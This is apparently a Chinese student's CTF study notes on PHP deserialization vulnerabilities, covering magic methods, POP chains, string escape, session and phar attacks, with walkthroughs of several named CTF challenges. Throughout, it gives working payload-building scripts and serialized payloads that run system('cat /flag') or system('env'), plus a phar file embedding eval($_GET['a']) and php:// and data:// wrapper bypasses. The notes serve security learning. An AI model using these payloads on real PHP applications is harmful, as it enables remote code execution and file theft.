php序列化与反序列化
序列化基础知识
$value = ‘php://filter/convert.base64-encode/resource=/flag’
include(“/flag”); /flag
不是有效 PHP 脚本(没有 <?php
),就会 白屏或报错。
include执行文件的内容而不是显示


对象的序列化

反序列化的特性
1.反序列化之后的内容是一个对象
2.反序列化生成的对象里的值,由反序列化里的值提供:与原有类预定义的值无关;
不管有没有类 类里面原来定义的是什么
3.反序列化不触发类的成员方法;需要调用方法后才能触发(魔术方法)
反序列化就是把序列化后的参数还原成实例化的对象
反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控
通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。
a);
}
}
$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;
?>
?benben=O:4:”test”:1:{s:1:”a”;s:13:”system(‘id’);”;}不明白我的为什么没有回显信息
魔术方法
常见的几个魔术方法:
名称 |
触发时机 |
__construct() |
在对象实例化(创建对象)的时候自动触发 |
__destruct() |
在销毁对象的时候自动触发 |
__wakeup() |
执行unserialize()时,先会调用这个函数 |
__sleep() |
执行serialize()时,先会调用这个函数 |
__call() |
在对象上下文中调用不可访问的方法时触发 |
__get() |
访问私有或不存在的成员属性的时候自动触发 |
__set() |
对私有成员属性进行设置值时自动触发 |
__isset() |
对私有成员属性进行 isset 进行检查时自动触发 |
__unset() |
对私有成员属性进行 unset 进行检查时自动触发 |
__toString() |
把类当作字符串使用时触发 |
__invoke() |
当尝试将对象调用为函数时触发 |
what:一个预定义好的,在特定情况下自动触发的行为方法。
相关机制:
触发时机(最关键):动作不同触发的方法也不同
功能 参数(一些魔术方法会传参) 返回值

__construst:
构造函数 在实例化一个对象的时候首先会去自动执行的一个方法
__destruct:
在反序列之后
析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

这里触发析构函数的是new和unserialize (反序列化得到的是对象 用完后会销毁)
serialize不会触发析构
__sleep
serialize序列化之前

sleep在前


只会返回sleep里的username和nickname 因为在serialize时触发了sleep sleep里没有passwd
小例题

__wakeup
在反序列化之前


POP链




字符串逃逸
减少和增多
反序列化字符串减少逃逸:多逃逸出一个成员属性第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
反序列化字符串增多逃逸:构造出一个逃逸成员属性第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性
减少是吃掉 增多是吐出来
Session
调用session_start 或者php.ini里面的session.auto_start为1 php内部调用会话管理器 访问用户session被序列化之后存储到指定目录下
漏洞产生:写入格式和读取格式不一样

Session 的工作机制是:为每个访客创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,或者通过 URL 进行传导。
生成phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php highlight_file(__FILE__); class Testobj { var $output=''; }
@unlink('test.phar'); $phar=new Phar('test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $o=new Testobj(); $o->output='eval($_GET["a"]);'; $phar->setMetadata($o); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ?>
|
记得修改php.ini里面的配置
php-ser-libs
level1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
class a { var $act ="show_source('flag.php');"; function action(){ eval($this->act);} } $a=new a(); echo serialize($a);
?>
|
对输入的flag进行反序列化 再调用action
level2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| class mylogin { var $user; var $pass; function __construct($user, $pass) { $this->user = $user; $this->pass = $pass; }
function login() { if ($this->user == "daydream" and $this->pass == "ok") { return 1; } } } $b=new mylogin("daydream","ok");
echo urldecode(serialize($b));
|
漏洞在于这个程序他只看账号密码对不对 不管对象是谁 所以利用序列化构造字符串给输入 书面一点:
程序直接相信了反序列化后的对象,而没有验证对象的来源和合法性。
level3
1 2 3 4 5 6 7
| class mylogin{ public $user="daydream"; public $pass="ok"; } $b=new mylogin("daydream","ok");
echo urlencode(serialize($b));
|
这里和第二关是一样的方法 只不过得到的参数需要通过cookie传进去
level4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
class func { public $key; public function __destruct() { unserialize($this->key); } }
class GetFlag { public $code; public $action; public function get_flag(){ $a=$this->action; $a('', $this->code); } }
unserialize($_GET['param']);
?> <br><a href="../level5">点击进入第五关</a>
|
我们伪造一个 GetFlag
对象,它能执行代码。
然后我们把这个对象塞进一个 func
对象的 key
里面。
把整个 func
对象变成字符串(序列化)后,通过 param=...
参数传给服务器。
程序执行后,会反序列化出 func
→ 又反序列化出 GetFlag
→ 最终触发代码执行
靶场有问题开了其他靶场
PHPSerialize
level1
1 2 3 4 5 6 7 8 9 10 11
| class FLAG{ public $flag_string = "HelloCTF{????}";
function __construct(){ echo $this->flag_string; } }
$code = $_POST['code'];
eval($code);
|
实例化flag类触发__destruct
new FLAG
level2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
error_reporting(0);
$flag_string = "HelloCTF{????}";
class FLAG{ public $free_flag = "???";
function get_free_flag(){ echo $this->free_flag; } }
$target = new FLAG();
$code = $_POST['code'];
if(isset($code)){ eval($code); $target->get_free_flag(); } else{ highlight_file('source'); }
|
code=$target->free_flag=$flag_string;
target是一个对象变量 这指向他的一个free_flag属性 再把flag_string赋值给free_flag(public是公有属性所以可以直接赋值)
level3

var_dump(get_defined_vars()); 这段代码在 PHP 中的作用是:输出当前作用域中所有已定义的变量及其值
level4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| class FLAG3{ private $flag3_object_array = array("?","?"); }
class FLAG{ private $flag1_string = "?"; private $flag2_number = '?'; private $flag3_object;
function __construct() { $this->flag3_object = new FLAG3(); }
}
$flag_is_here = new FLAG();
$code = $_POST['code'];
if(isset($code)){ eval($code); } else { highlight_file(__FILE__); }
|
level5
[SWPUCTF 2022 新生赛]ez_1zpop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php error_reporting(0); class dxg { function fmm() { return "nonono"; } } class lt { public $impo = 'hi'; public $md51 = 'weclome'; public $md52 = 'to NSS';
function __construct()//创建对象时 { $this->impo = new dxg; } function __wakeup()//2.触发__wakeup之后 实例化dxg 调用fmm() { $this->impo = new dxg; return $this->impo->fmm(); }
function __toString()//4.把对象当成字符串时 然后这里有个判断条件 { if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) return $this->impo->fmm(); }
function __destruct()//3.对象销毁前 执行这个echo把this当字符串执行 所以这个时候会触发tostring { echo $this; } } class fin { public $a; public $url = 'https://www.ctfer.vip'; public $title;
function fmm() { $b = $this->a; $b($this->title); } }
if (isset($_GET['NSS'])) { $Data = unserialize($_GET['NSS']); } else { highlight_file(__file__); }
|
md5 碰撞绕过
首先肯定是要触发tostring里面的比较的 tostring触发条件是当作字符串处理 所以__destruct里的echo会触发
触发destruct在对象被销毁之前 传入的nss执行完毕之后对象lt自动销毁 所以触发destruct 然后进入到tostring里的md5弱类型比较
这里的比较是

就是md51和md52的md5值要相等同手md51和md52的原始值不能相同
满足之后就会触发return $this->impo->fmm();
也就是$lt->impo->fmm();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
class dxg {} class fin { public $a; public $url = 'https://www.ctfer.vip'; public $title; } class lt { public $impo; public $md51; public $md52; }
$fin = new fin(); $fin->a = 'file_get_contents'; $fin->title = '/flag';
$lt = new lt(); $lt->impo = $fin; $lt->md51 = '240610708'; $lt->md52 = 'QNKCDZO';
$payload = serialize($lt); echo "Raw payload:\n$payload\n\n"; echo "URL encoded payload:\n" . urlencode($payload) . "\n";
|
然后会发现这里回显的是xdg中的nonono
原因是传入的payload使自动触发了wakeup(反序列化时)wakeup强制执行$this->impo = new dxg; return $this->impo->fmm();把$lt->impo = new fin()
给覆盖了
?NSS=O:2:”lt”:4:{s:4:”impo”;O:3:”fin”:3:{s:1:”a”;s:6:”system”;s:3:”url”;s:21:”https://www.ctfer.vip";s:5:"title";s:9:"cat /flag”;}s:4:”md51”;s:11:”s155964671a”;s:4:”md52”;s:11:”s214587387a”;}
[NewStarCTF 2023 公开赛道]POP Gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| <?php highlight_file(__FILE__);
class Begin{ public $name;
public function __destruct() { if(preg_match("/[a-zA-Z0-9]/",$this->name)){ echo "Hello"; }else{ echo "Welcome to NewStarCTF 2023!"; } }
}
class Then{ private $func;
public function __toString()//3. { ($this->func)(); return "Good Job!"; }
}
class Handle{ protected $obj;
public function __call($func, $vars) { $this->obj->end(); }
}
class Super{ protected $obj; public function __invoke()//第三call 然后到end { $this->obj->getStr(); }
public function end()//执行unset { die("==GAME OVER=="); }
}
class CTF{ public $handle;
public function end() { unset($this->handle->log); }
}
class WhiteGod{ public $func; public $var;
public function __unset($var) { ($this->func)($this->var); }
}
@unserialize($_POST['pop']);
|
先来看一共有的魔术方法
__call调用未定义方法时 是Handle
__invoke对象被当作函数调用时 Siper
__unset
__destruct对象被销毁时 begin
__tostring对象被当作字符串
1 2 3 4 5 6 7
| $pop=new Begin(); $pop->name=new Then(); $pop->name->func=new Super(); $pop->name->func->obj=new Handle(); $pop->name->func->obj->obj=new CTF(); $pop->name->func->obj->obj->handle=new WhiteGod(); echo serialize($pop);
|
新生赛
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php highlight_file(__FILE__); error_log('0'); class A{ public $a; public $b; function flag(){ echo "A"; eval($this->a); } } class B{ public $c; public $d; function __invoke(){ echo "B"; $this->c->flag(); } } class C{ public $e; function __get($key){ echo "C"; $function=$this->e; return $function(); } } class D{ public $str; public $code; function __toString(){ echo "D"; return $this->str->code; } } class E{ public $zg; function __destruct(){ echo "E"; echo $this->zg; } } if (isset($_GET['zgctf'])) { unserialize($_GET['zgctf']); } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php class A{ public $a; public $b; } class B{ public $c; public $d;
} class C{ public $e;
} class D{ public $str; public $code;
} class E{ public $zg;
} $E= new E(); $A= new A(); $B= new B(); $C= new C(); $D= new D(); $A->a='system("env");'; $B->c=$A; $C->e=$B; $D->str=$C; $E->zg=$D; $payload = serialize($E); echo urlencode($payload);
|
buuctf-[ZJCTF 2019]NiZhuanSiWei
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
|
file_get_contents函数
是 PHP 中用于将文件内容读入为字符串的函数,是文件读取中最常用的方法之一。

所以在这里 将text读取字符串 同时还要和welcome to the zjctf一模一样
?text=data://text/plain,welcome%20to%20the%20zjctf

成功绕过第一层过滤
然后继续往下看源代码 看到preg_match
preg_match()
是 PHP 中用于执行 正则表达式匹配 的函数 在这里只要我的$file包含flag就会被拒绝
所以只要不出现就能绕过了

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&&file=php://filter/read=convert.base64-encode/resource=useless.php
=&和&&是一样效果

好的然后把得到的这个(一看就是base64加密哈)我的网站解密出来有乱码
ai给我修复了一下是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
class Flag { public $file;
public function __toString() { if (isset($this->file)) { echo file_get_contents($this->file) . "<br>"; } return "U R SO CLOSE !///COME ON"; }
} ?>
|
只有一个tostring方法
把这串扔到ps里面加个序列化输出

代码有提示flag.php所以file等于flag.php 得到的东西传入到password 构造出最后的payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
这个是学长给的必学的一个网站
[https://www.cnblogs.com/Eddi eMurphy-blogs/p/18310518]( https://www.cnblogs.com/Eddi eMurphy-blogs/p/18310518)
让大王来看看
先来理解一下什么是 mb_strpos()
和 mb_substr()
:
首先mb_strpos()
和 mb_substr()
在面对 非法编码的字符或多字节截断字符 时,行为不一致,可能引发绕过漏洞。
他俩是多字节字符串处理函数。为什么叫“多字节”?因为像中文“中”这个字在 UTF-8 中不是一个字节,而是 3 个字节。
mb_strpos($str, $needle)
它是用来在字符串中查找某个子字符串的位置的。
1 2
| $str = "hello admin"; echo mb_strpos($str, "admin");
|
‘mb_substr($str, $start, $length)’它是用来“截取”字符串一部分的,比如从第几个字开始截几个字符。
1 2
| $str = "hello admin"; echo mb_substr($str, 6, 5);
|
我又开了一个文章写这个点 bye
一些常用的知识
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| private变量会被序列化为:/x00类名/x00变量名 protected变量会被序列化为: /x00/*/x00变量名 public变量会被序列化为:变量名 在PHP中,类不区分大小写
__sleep() //在对象被序列化之前运行 *
__wakeup() //将在反序列化之后立即调用 * 如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。 __construct() //当对象被创建时,会触发进行初始化 __destruct() //对象被销毁时触发 __toString(): //当一个对象被当作字符串使用时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量) __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试以调用函数的方式调用一个对象时
|
这是我偷的一个佬的博客上的东西 他的笔记写的好全
https://chenxi9981.github.io/